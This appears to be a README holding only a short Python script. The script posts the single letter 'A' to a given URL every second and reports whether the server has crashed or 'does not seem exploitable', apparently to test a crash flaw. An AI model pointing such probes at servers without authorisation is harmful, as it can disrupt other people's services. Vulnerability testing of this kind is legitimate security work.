README.md
Rendering markdown...
import requests
import time
import sys
def check_port(url):
try:
with requests.head(url):
return True
except requests.exceptions.ConnectionError:
return False
def send_request_every_second(url):
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = 'A' # The body is now just the letter 'A'
while True:
if not check_port(url):
print("port is currently not open")
time.sleep(1)
continue
try:
response = requests.post(url, headers=headers, data=data)
print(f"Status Code: {response.status_code}, Response: {response.text} server does not seem exploitable")
except requests.exceptions.ConnectionError:
print("Server might have crashed")
time.sleep(1) # Wait for 1 second before sending the next request
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: script.py <URL>")
else:
url = sys.argv[1]
send_request_every_second(url)